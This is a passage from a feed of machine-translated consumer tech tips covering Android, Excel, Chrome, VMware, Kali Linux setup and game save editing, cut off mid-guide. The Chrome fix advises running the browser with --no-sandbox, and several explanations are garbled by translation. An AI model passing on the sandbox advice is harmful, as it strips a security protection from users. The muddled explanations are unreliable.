works.\nThe best camera app for Android 4. View the map in 3D mode By default, Google Maps uses the flyover view. For normal driving or navigation, this view is very useful. But when you enter more densely populated areas, the flyover mode becomes useless.\n  If you need another map view, there's a quick way to do it: just use two fingers to pull up. This will change the view from 2D flyover to 3D view. However, you should not use this mode while driving.\nInstructions for using Google Maps offline on Android 5. Type the keyboard faster with one-handed mode If you use Google's Gboard app, there are some tips you can refer to. For smartphones with large screens, typing with one-handed mode becomes more difficult than small screens. But Gboard makes it easy to switch to one-handed mode with one simple click and hold.\n  To switch to one-handed mode, press and hold the comma button, then swipe through the icon that looks like a hand holding a square. And your keyboard has moved to the side of the screen with a smaller size. If you want to move to the other side, just press the big arrow button. To make the keyboard big again, click the button that looks like a full screen icon.\nControl your Android phone easily with one hand with these 9 tips 6. Quickly move the cursor over the text lines If after completing a 1600 word message and recognizing a spelling error in the fourth line, you need to touch exactly where you want to edit the cursor to appear but this can be a bit difficult. However there is a simpler way that you just need to touch somewhere around and then let the key make its work.\n  Press the spacebar, then immediately it will slide in the direction you want the cursor to move.\n7. Delete multiple words at a time For example, after writing a message, you change your mind and want to delete it, you do not need to press the delete key to delete each word. There is a faster and easier way to delete words that are using fast gestures.\n  Just press the delete button, then swipe left, immediately the words will be blackened and as soon as you lift your finger, those words will disappear. One thing to note is that if you accidentally delete a word group, see the suggestions bar, all you have deleted is there until you start typing again. Just touch it to recover your text.\nSee more:\n7 gestures, fast and convenient shortcuts on Samsung phones Summary of priceless shortcuts on Android 9 great hidden features on Android you may never know ncG1vNJzZmismaXArq3KnmWcp51khG6tzZ2pqKGUYrSmv9OuqZ6rXa68tnnMmrBmpp%2Bpeqy6zrBksp2k\n","link":"/post/7-android-gestures-you-may-not-know-yet/","section":"post","tags":null,"title":"7 Android gestures you may not know yet"},{"body":"The following article introduces you to the CHISQ.DIST.RT function - one of the functions in the statistical function group is very popular in Excel.\n  Description: The function returns the probability of the right end of the distribution when squared. Support function from Excel 2010 version.\nSyntax:  CHISQ.DIST.RT (x, deg_freedom)\nInside:\n- x: Value to evaluate distribution.\n- deg_freedom: Number of degrees of freedom.\nAttention:\n- If any value of the parameter is not numeric -\u0026gt; the function returns the error value #VALUE!\n- If deg_freedom is not an integer -\u0026gt; it is truncated to an integer.\n- If deg_freedom or deg_freedom\u0026gt; 10 ^ 10 -\u0026gt; the function returns the #NUM! Error value\nFor example:\nCalculate the probability of right end when the square of the distribution according to the data in the table below:\n  - In the cell to calculate enter the formula: = CHISQ.DIST.RT (C6, C7)\n  - Press Enter -\u0026gt; probability of the right end of the distribution when the square is:\n  - Case 1 of the values ​​of the parameters is not a number -\u0026gt; the function returns the error value #VALUE!\n  - If the number of degrees of freedom is less than 1 or greater than 10 ^ 10 -\u0026gt; the function returns the #NUM! Error value\n  Above are instructions and some specific examples when using the CHISQ.DIST.RT function in Excel.\nGood luck!\nncG1vNJzZmismaXArq3KnmWcp51ksKm10qqboqukp8FustSnmq2hn6N6tbTEZp2uppOptrC6jKucra2io8BuwMeeZKuhl53BbrHNnWSpqp%2BXrqO1y6KrsmWfm3q1tMRmm6KrpKe2o8HToqanZaedsq950qqsmqqVmXqquoyer5ydnA%3D%3D\n","link":"/post/chisq-dist-rt-function-the-function-returns-the-right-end-probability-of-the-distribution-when-squared-in-excel/","section":"post","tags":null,"title":"CHISQ.DIST.RT function - The function returns the right end probability of the distribution when squared in Excel"},{"body":"Samsung has launched the Galaxy A01, its low-cost smartphone at VND2.8 million, has a compact design, dual cameras and meets the daily needs.\nThe device is equipped with a screen size of 5.7 inches, HD +, the ratio of 19: 9, V-shaped top notch on the front. The bottom of the device is quite thick compared to other smartphones in the price range.\nThe back of the device is made of plastic material so it is less prone to sweat, fingerprints.\nThe dual rear camera cluster of the device includes a 13 MP main camera, F / 2.2 aperture and 2 MP camera, which supports depth of field measurement.\nPractical experience Galaxy A01 shows that the machine has a fast shutter speed but appears a slight lag when switching between modes. Users can customize the level of background removal when in autofocus mode but cannot edit after shooting. Photos after shooting for lighter colors than reality when shooting in normal mode. With the font removal mode, photos appear to be quite natural, detailed and the subject is highlighted.\nGalaxy A01 is equipped with Snapdragon 439 chip, 2GB RAM, 16GB ROM and 3,000 mAh battery, charging via MicroUSB port.\nGalaxy A01 comes pre-installed with Android 10 operating system, customized according to the One IU 2. interface. The device is sold for 2.8 million VND, belonging to the cheap segment, easy to access users.\nncG1vNJzZmismaXArq3KnmWcp51ktKK4wLGwZplgZnqlwcClZJyZnZq%2FonnAp5urp5mZenJ8jKmpopuVmXqiwIxrb2almaG5qrvN\n","link":"/post/dual-camera-android-10-priced-at-2-8-million/","section":"post","tags":null,"title":"Dual camera, Android 10, priced at 2.8 million"},{"body":"As you know, when we buy a new or used phone, it's important to know if the warranty period of that phone is still available. And the warranty period means that the phone is still in good condition and when it is damaged, we can still carry it out for warranty. So how to check the warranty of that phone most accurately? In this article, TipsMake.com will guide you how to check the warranty of SamSung phones in a simple and standard way, please refer.\n  To check the warranty period, we first need to have the IMEI number of that phone, how to check the Samsung SIM IMEI number as follows:\nStep 1 : Open the phone keypad and enter the code * # 06 #\n  The IMEI number will then appear on the phone screen for you to check:\n  Step 2: Once you have the IMEI code, we will check the warranty period by the following:\nText SamSung switchboard with the syntax IMEI Number to 6060\nThe IMEI number includes the 15 numbers you have checked in the previous step.\nYou wait about 5 minutes, the operator will send you a message and announce the warranty period of that phone.\n  If you cannot send a message or the message is not warranted, the device is probably not genuine Samsung.\nSo with just a few simple steps, we can check exactly the warranty period of SamSung phones, hope you will find the article useful. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuYmrCsedKapKytnpx6uK3Rq5inrKlisLC%2B0Z6araSp\n","link":"/post/how-to-check-samsung-warranty-correctly/","section":"post","tags":null,"title":"How to check Samsung warranty correctly"},{"body":"In Adorable Home, instead of using money, you use \"love\" to shop for everything. That's why finding Adorable Home is the top priority in the game. Caused many gamers to spend money just to buy cats at the beginning of the game.\nIf you buy all 12 cats in the game and take the time to take care of them carefully, the number of hearts you get will increase rapidly. From nail clippers, bathing, playing with them and feeding them will help you find Adorable Home quickly.\nHowever, there is a tip that can help you earn more hearts in Adorable Home quickly. And you can follow the instructions below to quickly increase the number of Adorable Home hearts.\nHow to earn many hearts Adorable Home easy and fast First, completely exit Adorable Home, then download the WPS Office application on your phone by following the link below.\nLink to download WPS Office for Android\n  After downloading and installing WPS Office, open the File Manager application on your phone. Select the file view and in the file list, find the Android directory\u0026gt; data.\nContinue in the data directory, find the folder com.hyperbeard.adorablehome \u0026gt; select continue files .\nIn the files folder you will see the PlayerDatabase_1.txt file as shown below. Open it with the WPS Office that you just installed on your computer.\nYou click any line in the contents of the file, and then click Edit . Next, edit the number in the \"LoveCount\": with the number of hearts in Adorable Home to the number of hearts you want to have in the game.\nFor example, here my \"LoveCount\": 1366, you can edit it to \"LoveCount\": 999999, just remember to change the number, do not change any characters because it will make the game error.\nLike in the picture below, I fixed it to 90909, when you finished editing, click the square icon as in the image below to save it. Then go back to Adorable Home.\n  There, now you can see my heart number has been changed to 90909 as I changed the number in the file as above. His previous amount was 1366.\n  Guide to get free heart on Adorable Home here has many steps, but when you do, you will find quite simple. Now you have enough money to buy household items as well as buy a cat, unlocking hidden areas.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp%2BVqXqnvsSeZJqcn6euo7jEZp%2BopZVitaat0a0%3D\n","link":"/post/how-to-get-free-adorable-home-heart/","section":"post","tags":null,"title":"How to get free Adorable Home heart"},{"body":"Notepad is an incredibly easy-to-use text editor bundled with the Microsoft Windows operating system. You can find and open Notepad from within the Microsoft Windows Start menu, or you can create a new text file right on your desktop....\nMethod 1of 3:\nOpening Notepad with Search  Click the ⊞ Win Start button.\n  Type in \"notepad\".\n  Click \"Notepad\". This should be the top app in your search.\n  Review your Notepad. You are now ready to begin using Notepad!\n Method 2of 3:\nManually Accessing Notepad  Click ⊞ Win.\n  Scroll down to \"Windows Accessories\".[1] On Windows 10, you won't be able to find Notepad using this method. You can, however, refer to method one to find it.   Click the \"Windows Accessories\" folder.\n  Click \"Notepad\". This will open Notepad!\n Method 3of 3:\nCreating a New Text Document  Right-click your desktop.\n  Hover over \"New\".\n  Click Text Document.\n  Type in a name for your file.\n  Double-click your document. This will open your text file in Notepad!\n  Kareem Winters Update 04 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqegmrtuus6tnKmZlA%3D%3D\n","link":"/post/how-to-open-notepad/","section":"post","tags":null,"title":"How to Open Notepad"},{"body":"The reputation of Chrome OS is growing rapidly as a great computer operating system. The operating system was once despised for its dependence on cloud services and Google, but today you can install Android and Linux apps on it, even play the latest PC games thanks to Google Stadia. If you want to try Chrome OS for personal development or use on Windows 10, you can use the open source Chromium OS instead.\nCloudReady, the Chromium OS version designed for PCs, is available as an image for VMware, respectively for Windows. By installing CloudReady on VMware in Windows, you can get pretty much all the functionality of Chrome OS, except for apps and features specific to Google. It is important to remember that you cannot run Play Store apps on CloudReady anymore.\nIf you want to run Android apps in Windows 10, see TipsMake.com 's guide on how to run Android in Virtualbox.\nHere's how to run Chromium OS in Windows 10.\nFirst, you need to download the OVA file for CloudReady. This is a virtual machine for VMware that you also need to download. And here is a link to VMware Workstation 15 Player - a lightweight version of VMware that allows you to run a single virtual machine.\nWith CloudReady's OVA file downloaded and VMware installed on Windows 10, it's time for them to work together.\nOpen VMware and on the right side, click 'Open a Virtual Machine' . Look for the OVA file of CloudReady that you downloaded and select it.\nIn the new window, you can name your new virtual machine and set the storage path for all data on that machine. When ready, click Import and wait for the process to complete.\nWhen the process is finished, the new Chromium OS virtual machine will appear on the main VMware screen. Double click on it to launch. Follow the instructions inside CloudReady / VMware to set up your own virtual machine.\nThat's all it takes to create your own Chrome OS virtual machine. Remember to update CloudReady by checking the Settings\u0026gt; About CloudReady updates regularly on Chromium OS!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqqlo3qktNGopKKtnWK8tHnOp2SwoZ6ZvLi%2FjGpn\n","link":"/post/how-to-run-chromium-os-on-windows-10/","section":"post","tags":null,"title":"How to run Chromium OS on Windows 10"},{"body":"Rainmeter is a desktop customization tool for Windows. You can completely change the 'look and feel' of your desktop with Rainmeter. However, there is a short learning curve. This article will help you get started. Download Rainmeter from...\nPart 1of 3:\nInstalling Rainmeter  Download Rainmeter from https://www.rainmeter.net/.\n  The Rainmeter application is simple enough to install. Just keep pressing \"Next\" when in doubt.\n  You have successfully installed Rainmeter. A huge collection of skins should appear on your desktop.\n Part 2of 3:\nInstalling a Skin  Download a \"skin\". By the Rainmeter terminology, skins can be compared with widgets. Skins come in many styles, most new ones have a .rmskin extension.\n  Click on the skin to install the skin. The installation window is a single-click job.\n  Right Click on any skin on your desktop(which were there after installation). In the Right click menu, select: Right Click\u0026gt;Skins\u0026gt;NAME_OF_SKIN_PACK\u0026gt;Skin_name.\n  A new skin should pop up. You can drag it around.\n Part 3of 3:\nDeleting a Skin  Right click on the skin.\n  Select \"Unload Skin\" from the menu.\n  The skin should be removed.\n  Kareem Winters Update 04 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZq2jmnqzrcinpJ6slac%3D\n","link":"/post/how-to-use-rainmeter/","section":"post","tags":null,"title":"How to Use Rainmeter"},{"body":"When you need to simulate Android to run applications on Windows, many people will think of BlueStacks . However, an inconvenience of this software is that it requires good configuration, if not installed, it will be \"jerky\". Therefore, we will introduce you a much lighter, easier and easier to use software, Droid4X .\nFixed a bug that did not start the Droid4x emulator How to fix Droid4X to update the video card To use, first download and install Droid4x on your computer. Then, follow the steps below.\nStep 1 : Open the app, click AppStore\n  Step 2 : You will be asked to log in to an existing Google account or create a new account at your discretion\n  Step 3 : Please select the application you want to install (for example here we choose the game Candy Crush Saga )\n  Step 4 : Please click Install to install\n  Step 5 : When the dialog box appears, click Accept\n  Step 6 : Installation process will take place\n  Step 7 : When the installation process finishes, press Open to start playing\n  Above, we have just shown you how to simulate Android on Windows using Droid4x software. From now on, you can download Android apps or games to your computer.\n4 simple ways to fix common Google Play Store errors Instructions for backing up phone numbers in Android phone contacts Instructions to access your Android phone on the computer Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktq%2B%2F06usnKyZpLu0edOoZKyhnaq5osDEZpinnKKktqV5zqdksKGemby4v4ybsGacoqS2pYDX\n","link":"/post/instructions-to-simulate-android-on-windows-by-droid4x/","section":"post","tags":null,"title":"Instructions to simulate Android on Windows by Droid4x"},{"body":"Undeniable Chrome is currently the most popular web browser today. With an eye-catching interface and high performance, Chrome is quite a lot of users love. But like other browsers, during the use of Chrome, some errors may occur. One of the common errors is unresponsive page errors, or Kill Pages errors.\nIn the article below, Network Administrator will guide you to some solutions to fix this error.\n  1. Causes of Unresponsive Page / Kill Pages error There are many causes of Unresponsive Page / Kill Pages errors, here are 2 main reasons:\nSlow Internet connection speed or web script error may cause errors.Some websites have many java scripts and advertising is also the cause of the error. When CPU and RAM use high capacity, your browser may stop and display an error message. 2. How to avoid Google Chrome Kill Pages errors Use antivirus software to remove malware, malware, . Do not use low-rated plugins and extensions, and if possible avoid using plugins and extensions as much as possible. Clear the browser cache every week.Without any errors you can delete browsing history, cookies and monthly data. Regularly use Disk Cleanuo and Disk Defragment . Eliminate unnecessary programs and services. Do not open too many tabs on Chrome browser. Always empty the folder C: WindowsTemp .   3. Fix Google Chrome Error Kill Pages If you encounter a Google Chrome Kill Pages error during a web browser on Chrome browser, follow the steps below:\nClear cache and browser cookies. Delete browsing history. Scan your entire computer with an effective antivirus program to remove malware (malware), spyware (spyware), viruses, . Use Disk Clean up to clean Local Disk C.If using the 3rd application, you can use CCleaner. Defragment the drive. 3.1. Method no sandbox No sandbox is one of the most popular solutions to fix error pages or aw snap / page unresponsive . To do this, follow the steps below:\nRight-click the Chrome shortcut on the desktop, then select Properties . On the Properties window, click the Shortcut tab .   At the target frame, enter –no-sandbox after chrome.exe \". Don't forget the space after chrome.exe '. Now the path will look like this: \"C: Program Files (x86) GoogleChromeApplicationchrome.exe\" -no-sandbox\nClick Apply then click OK . Reopen Chrome browser and check if the error is still there. 3.2. Disable 3rd party cookies To do this thing:\nIn the address bar, enter chrome: // settings / content there and press Enter . A new page will appear on the screen.Here you check the Block third-party cookies and site data . Finally reopen Chrome browser and check if the error is still there. 3.3. Edit Power Plan If you use a laptop, notebook or tablet, users may face the problem of setting up power plan. If setting up Perform Performace, it is likely that it is the cause of the error. In this case you must set High Performance . To do this thing:\nAccess Control Panel =\u0026gt; Hardware and Sound =\u0026gt; Power Options . Set up is High performance . 3.4. The most effective solution Press the Windows + R key combination to open the Run command window. Copy and paste the following path into the Run command window and press Enter : % LOCALAPPDATA% GoogleChromeUser Data\nNow you will see the folder named Default . Rename this folder to Backup Default . Finally open the Chrome browser and check if the error is still there. Refer to some of the following articles: Instructions to completely remove Youndoo.com on all browsers Instructions to remove Social Search toolbar in Chrome, Firefox and Internet Explorer browsers Rooted Delta Search on Chrome, Firefox and Explorer browsers Good luck!\nncG1vNJzZmismaXArq3KnmWcp51kvra1wqRkn6GoYrSwu8alnGabmKe8rrGMpKClpF2lrqix0macq6qfp8A%3D\n","link":"/post/quick-fix-google-chrome-kill-pages-errors/","section":"post","tags":null,"title":"Quick fix Google Chrome Kill Pages errors"},{"body":"In addition to its own cultural characteristics, traditional wedding costumes have also become one of the symbols bearing the national identity of each nation. Thanks to Queen Victoria - the first woman wearing a white wedding dress during the wedding, the classic wedding dresses have become popular since the 19th century. In the past, women would choose a traditional dress. a dress or a fashion suit that day to wear on the wedding day.\nIn the present time, it is rare to find a wedding dress that is not white. However, in some cultures, especially Asia and Africa, young couples still prefer to wear more traditional wedding dresses. On the Bright Side page, we collected photos of bride and groom in traditional wedding dresses in their country. Do they look great?\nJapan\n  On the big day of life, Japanese brides often wear one or two white or red outfits during the wedding ceremony and the groom wears black kimono with a crest and slacks.\nGhana\n  Traditional Ghanaian wedding is like a colorful party. Wedding dresses in their countries are designed with different colors and patterns. Every family has its own fabric pattern.\nRomanian\n  Although not a big country, each region in Romania has different traditional wedding costumes. The traditional wedding dress of Romania is a hand-embroidered dress with brocade motifs, the bride is also wearing a simple flower leaf ring but looks very elegant and delicate.\nSami, Northern Europe\n  The Sami people are indigenous people living in Lapland. Their traditional attire may reveal to you a lot about the person who is wearing it. For example, square buttons mean that person is married, while singles will wear belts with round buttons.\nSri Lanka\n  In traditional weddings in Sri Lanka, not the bride but the groom is the one who gets the most attention. The groom in the traditional wedding dress is extremely radiant and stands out in red tones with eye-catching decorative motifs, along with a patterned hat and similar colors to the outerwear. And the bride will wear silk sari, wear odd-numbered jewelry because according to this country's concept, odd numbers represent luck, peace and happiness.\nIndia\n  Sari - a 4-9m long scarf wrapped around the bride is a traditional Indian wedding dress. Indians often choose Sari with red or pink color to symbolize the luck and happiness of the bride and groom. Depending on the house-to-house situation, the wedding dress will be attached with little or more jewels and gems to the extravagant dress, expressing the bride's house. Accompanying the dress is a 16-piece jewelry set called \" Solah shrinngar \". In North India, married women are distinguished by a red \" Bindi \" in the middle of the forehead.\nScotland\n  Dubbed the \" country of men wearing skirts \", on the great day of life, the groom will wear the family's traditional wedding dress with a plaid skirt and shirt and vest. . There is no specific specification of the checkered pattern, depending on the families in the country, because each different family will have separate patterns. After the wedding ceremony, the bride will wear a shawl with a pattern like the bride's \" dress \" to prove that she has become a part of the family.\nPakistan\n  Although Pakistan is a Muslim country, their traditional wedding attire has many similarities with India. On the wedding day, the bride will be drawing henna in her hand and wearing a red wedding dress.\nEthiopia\n  This may surprise many people, but Ethiopia is the only country in Africa, where Christianity is the official religion. The majority of Ethiopian Orthodox Christians. That is why the wedding here is similar to the wedding of the Greeks or Russians.\nIndonesia\n  As a country owning thousands of islands with 300 ethnic groups and 6 major religions, Indonesia has extremely diverse culture and civilization. For that reason, traditional Indonesian weddings are different. In this great holiday, the bride and groom often wear gold crowns.\nCausasus \n\n  Traditional Causasus wedding dresses are epic with elegant, elegant white colors. The groom usually wears a Caucasian shirt and attaches a sword to his belt, and the bride always chooses for herself a white lace wedding dress.\nChina\n  Chinese people believe that red is the color of luck and happiness, as well as chasing evil spirits and demons so their traditional wedding costumes are red. However, not only is each wedding set red, but the red color is always everywhere. After the wedding is over, the groom will remove the red veil on the bride's head.\nHawaii\n  In the traditional Hawaiian wedding, the groom usually wears white clothes, while the bride adorns her hair with fresh flowers. Looks light but no less romantic right?\nMalaysia\n  In Malaysia, most weddings are organized according to Islamic tradition. Brides often choose a wedding dress with purple or cream color.\nYemeni Jew\n  Most of the Jewish community has no special costumes dedicated to the wedding. However, Yemeni Jews are an exception. During the wedding, the girls here often wear a very special outfit, inherited from their ancestors.\nSouth Korea\n  Traditional Korean costumes are called Hanbok and brides often choose it to wear in traditional weddings. In the ancient tradition here, the groom should carry his wife on his back to walk around the table to show that the bride can rely on her husband for a lifetime.\nNorway\n  In Norway, people often wear Bunad - a traditional Norwegian outfit for special occasions like weddings and baptism.\nBali\n  Balinese weddings will definitely make you feel surprised with their richness and splendor. Their traditional wedding costumes include a lot of complicated details. Moreover, during the ceremony both the groom and the bride often wear gold crowns on their heads.\nNigeria\n  Nigeria is a large country with more than 250 ethnic groups and 500 languages. As a result, marriage customs in Nigeria vary widely across regions, depending on geography, religion, and ethnicity. However, Nigerian brides often wear light colored clothes and wrap Gele towels on their heads.\nRefer to some more articles:\n21 beautiful photos you should see right away 5 interesting things about the Japanese education system make the whole world jealous 10 things you probably won't guess their purpose Having fun!\nncG1vNJzZmismaXArq3KnmWcp51kwKaxjK2pmpyZqbawusClZLCdlJm2r7OMnameq6OawG67xWaaqK2eqb%2BqsdJmmKunpaOxbsDHnmSwp6KhsQ%3D%3D\n","link":"/post/see-traditional-wedding-dresses-of-countries-around-the-world/","section":"post","tags":null,"title":"See traditional wedding dresses of countries around the world"},{"body":"The weapons system is perhaps the most important element in all shooters and Free Fire is no exception. All types of guns in the game are unique and each has its own strengths and weaknesses. However, some are really easy to use while others require skill. In this article, we will together learn about 5 most easy to use guns in Free Fire.\nThe easiest to use Free Fire weapon 5. MP40   The MP40 is the last member of the SMG class. It has the highest rate of fire when compared to any weapon in Free Fire. In return it is one of the lowest-firing guns in the game. Using this gun, you can shoot extremely fast to deal damage to nearby enemies. Because of the relatively low recoil and high rate of fire, you can simply fire in close range without much need to aim.\n4. M4A1   M4A1 is the AR gun with the highest range in the game. Along with excellent precision and the ability to equip all types of accessories, the M4A1 is fully equipped that is the best gun to use in the final ring and is also a great choice for new players. .\n3. UMP   The UMP is the only SMG that has armor penetration with a score of 64. That means the UMP is the most lethal weapon in the SMG class, penetrating more than 65% of enemy armor when hit. If you're already using UMP, stick with it and retrofit if possible.\n2. XM8   XM8 is a better version of SCAR, with high stats of everything from damage to rate of fire and range, even movement speed while holding the XM8 is excellent. However, you'll have to stick with the built-in X2 viewfinder on the gun.\n1. Groza   There's a reason Groza is called a weapon of control. After all this time, it is still the best weapon in Free Fire. Groza can only be purchased through Airdrop. It has pretty much everything - high damage, high range, high stability, the ability to equip all the accessories . Overall, if you get a Groza from your Airdrop, your chances of survival You will increase exponentially.\nPosts have shared you 5 guns easiest to use in Free Fire. In your opinion, are the above names on this list appropriate or not? In addition you can also refer to the top most powerful guns Free Fire.\nFree Fire Top 5 ncG1vNJzZmismaXArq3KnmWcp51kwbC8jG5knpmjnrK0wIyfqZ6dXZu2s7GMsJyaqJ%2BjwG7AzmasrJ0%3D\n","link":"/post/top-5-easiest-free-fire-weapons-to-use/","section":"post","tags":null,"title":"Top 5 easiest Free Fire weapons to use"},{"body":" 1. How to speed up VMware virtual machine 1.1 Setup RAM on VMware 1.2. Defragment hard drives on virtual machines 1.3. Setup Ram for VMware virtual machine 1.4. Set virtualization and CPU multiplier on VMware virtual machine 1.5. Accelerated graphics processing settings on VMware virtual machines 1.6. Use the Suspend feature instead of Power Off 2. How to install Kali Linux on VMware 2.1. Setting up Kali Linux on VMware 2.2. Install Kali Linux 3. How to change the MAC address of the VMware virtual machine 3.1. Change MAC address on Windows virtual machine 3.2. Change MAC address using network settings in VMware 4. How to connect 2 virtual machines in VMware 4.1. Set up virtual networks for virtual machines 4.2. Virtual network configuration on virtual machine 4.3. Check 5. How to install Android on VMWare 5.1. Prepare 5.2. Setup on VMware 5.3. Install Android on a virtual machine 5.4. Boot setup and fix black screen error 5.5. Setup settings in Android and check 1. How to speed up VMware virtual machine VMware is the leading virtualization tool used by programmers and developers. However, setting VMware defaults can not be that fast and we have to do some speed up in the article below.\n1.1 Setup RAM on VMware If your computer has a lot of RAM, you should set a little more RAM for VMware to make VMware run smoother.\nStep 1: Open VMware and click on the Edit menu (1) =\u0026gt; Preferences… (2) .\n  Step 2: You click on Memory (1) =\u0026gt; set the Ram level for VMware by sliding the slider to the right (2) =\u0026gt; OK (3) .\nNote: You should set the Ram level for VMware to approximately 70-80% of the RAM on your computer to provide good performance and not make your computer slow, laggy.\n  1.2. Defragment hard drives on virtual machines Step 1: Click on the virtual machine (1) =\u0026gt; Edit virtual machine settings (2) .\n  Step 2: Click on Hard Disk (1) =\u0026gt; Defragment (2) .\n  After that, the hard drive defragmentation process will take place.\n  Step 3: After the notification pops up, it's done. Click OK to continue.\n  1.3. Setup Ram for VMware virtual machine Step 1: Click on the virtual machine you need to set up Ram (1) =\u0026gt; Edit virtual machine settings (2) .\n  Step 2: Choose Memory (1) =\u0026gt; adjust the Ram level (2) in accordance with your computer =\u0026gt; OK (3) .\n  1.4. Set virtualization and CPU multiplier on VMware virtual machine Step 1: Click on the virtual machine you need to set up (1) =\u0026gt; Edit virtual machine settings (2) .\n  Step 2: Select Processors (1) =\u0026gt; set the CPU multiplier in Number of cores per processor (2) . In addition, you can set virtualization and check 3 boxes in the Virtualization engine (3) if your CPU supports virtualization. Press OK (4) to save the settings.\nNote: \u0026nbsp; Number of processor means the number of CPUs on the mainboard and most motherboards today use 1 CPU, except for some main series for the server such as ASUS Z10PA-D8C, Gigabyte C621-WD12… only supports 2 CPUs. You should set this to 1 to avoid errors when using VMware.\n  1.5. Accelerated graphics processing settings on VMware virtual machines Step 1: Click on the virtual machine you need to set up (1) =\u0026gt; Edit virtual machine settings (2) .\n  Step 2: Go to Display (1) =\u0026gt; check Accelerate 3D graphics (2) =\u0026gt; set VRAM (3) for virtual machine =\u0026gt; OK (4) .\n  1.6. Use the Suspend feature instead of Power Off This feature helps you quickly open a virtual machine similar to sleep, hibernate on Windows.\nStep 1: You click on Power (1) =\u0026gt; Suspend Guest (2) .\n  After that, VMware will save your settings and temporarily close your virtual machine.\n  Step 2: To reopen the virtual machine, click Resume this virtual machine and you 're done.\n  With optimized and accelerated ways for VMware virtual machines, you will work more efficiently and comfortably.\u0026nbsp;\n2. How to install Kali Linux on VMware Kali Linux is an operating system that integrates a lot of security tools for security researchers and hackers to use. To experience Kali Linux, you can install it on VMware virtual machine through the tutorial below.\n2.1. Setting up Kali Linux on VMware First, visit link here to download the Kali Linux installer.\nClick on Kali Linux 64-Bit (Installer) to download.\n  Step 1: Open VMware, click on File menu (1) =\u0026gt; New Virtual Machine… (2) .\n  Step 2: You click on Typical (1) =\u0026gt; Next (2) .\n  Step 3: You choose Installed disc image file (1) =\u0026gt; Browse (2) .\n  Next, you select the iso file (3)  =\u0026gt; Open (4) .\n  Click Next to continue.\n  Step 4: Choose Linux (1) =\u0026gt; Debian 8.x 64-bit (2) =\u0026gt; Next (3) .\n  Step 5: You name the virtual machine (1) =\u0026gt; Browse . (2) to choose where to save the virtual machine after the installation. Next, you click Next  (3) to continue.\n  Step 6: You set the disk space (1) at least 20GB. Next, you click on Store virtual disk as a single file (2) =\u0026gt; Next (3) .\n  Click Finish to complete.\n  2.2. Install Kali Linux Step 1: Click on the Kali Linux virtual machine you just set up and select Power on this virtual machine .\n  On the Boot menu, click Graphical install .\n  Step 2: Click on English (1) to select English language =\u0026gt; Continue (2) .\n  Next, you select the area as United States (3) =\u0026gt; Continue (4) .\n  Select the keyboard language as American English (5) =\u0026gt; Continue (6) .\n  Step 3: You name the virtual network (1) =\u0026gt; Continue (2) .\n  Step 4: Name the domain (1) =\u0026gt; Continue (2) .\n  Step 5: Enter your name (1) =\u0026gt; Continue (2) .\n  Name the User (3) =\u0026gt; Continue (4) .\n  Step 6: Set the password (1)  and re-enter the password (2) for the Kali virtual machine =\u0026gt; Continue (3) .\n  Step 7: You choose the time zone Pacific (Pacific) (1) =\u0026gt; Continue (2) .\n  Step 8: Choose Guided - use entire disk (1) =\u0026gt; Continue (2) .\n  Step 9: Select virtual drive (1)  to install =\u0026gt; Continue (2) .\n  Step 10: Select All files in one partition (recommended for new users) (1) =\u0026gt; Continue (2) .\n  Step 11: Select Finish partitioning and write changes to disk (1) =\u0026gt; Continue (2) .\n  Step 12: Select Yes (1) =\u0026gt; Continue (2) .\n  Step 13: You check all the necessary items and click Continue .\n  Step 14: Select the screen manager as gdm3 (1) =\u0026gt; Continue (2) .\n  Step 15: Click Yes (1) to install GRUB boot =\u0026gt; Continue (2) .\n  Next, you choose the drive (3) to install =\u0026gt; Continue (4) .\n  At this step is finished, click Continue to complete.\n  Step 16: After restarting Kali Linux , click and login to your account.\n  The main interface of Kali Linux will be as shown below. Since this tool is developed on a Debian operating system, you will find Debian's wallpapers under Kali Linux.\n  With full and detailed instructions on how to install Kali Linux on VMware, you can try to install and experience the tool for 'hacker' extremely unique and interesting.\n3. How to change the MAC address of the VMware virtual machine Change the MAC address on VMware virtual machines so you can access blocked websites or create some settings to improve security on virtual machines.\n3.1. Change MAC address on Windows virtual machine The MAC address on the virtual machine before changing is 00-0C-29-C1-DA-FA .\n  We will proceed as follows:\nStep 1: Click on Network (1) =\u0026gt; Open Network and Sharing Center (2) .\n  Next, click Change Adapter settings .\n  Step 2: Right-click on Local Area Connection (1) =\u0026gt; Properties (2) .\n  Next, click Configure .\n  Step 3: Click on Advanced (1) =\u0026gt; Locally Administered Address (2) =\u0026gt; check Value (3) and enter any 12 characters =\u0026gt; OK (4) .\nNote: Some network cards integrated on different motherboards will display the name Network Address instead of Locally Administered Address .\n  After entering, check if the MAC address has changed. If the new MAC address has changed like in the example below, it is successful.\n  Alternatively, you can change the MAC address in Registry or use TMAC software.\n3.2. Change MAC address using network settings in VMware With this way, we can change the MAC address on VMware virtual machines, apply to virtual machines running Ubuntu, macOS, CentOS . As shown below, you can see that Windows 10 virtual machine has MAC address. is 00-0C-29-7E-98-0C .\n  Step 1: You need to turn off the active virtual machine by pressing Power (1) =\u0026gt; Power Off (2) =\u0026gt; Power Off (3) .\n  Next, click on Edit virtual machine settings after the virtual machine is turned off.\n  Step 2: Click on Network Adapter (1) =\u0026gt; Advanced… (2) .\n  Next, press Generate (3) in the MAC Address =\u0026gt; OK (4) .\n  Click OK to save and open the virtual machine to check.\n  After opening the virtual machine to check, you will see the MAC address has been changed as in the example below.\n  With this simple and quick guide, you can change the MAC address on the virtual machine for added security.\u0026nbsp;\n4. How to connect 2 virtual machines in VMware Connecting 2 virtual machines in VMware makes it convenient for you to exchange data and avoid data leakage, virus infection between virtual machine and real machine. Please follow the instructions below.\n4.1. Set up virtual networks for virtual machines Step 1: Open VMware, click the Edit menu (1) =\u0026gt; Virtual Network Editor (2) .\n  Next, you click on Change Settings to get the admin's editing rights.\n  Step 2: Click Add Network… (1) . The bulletin board appears, choose VMnet virtual network (2) =\u0026gt; OK (3) .\n  Step 3: Select Bridged (1) to provide Internet for the virtual network =\u0026gt; Apply (2) =\u0026gt; OK (3) .\nNote: If you want the virtual machine network to connect to a private intranet, separate from your computer, choose Host-only instead of Bridged .\n  4.2. Virtual network configuration on virtual machine After creating the virtual network, you can configure and connect to the network for virtual machines on the same network.\nStep 1: Open the 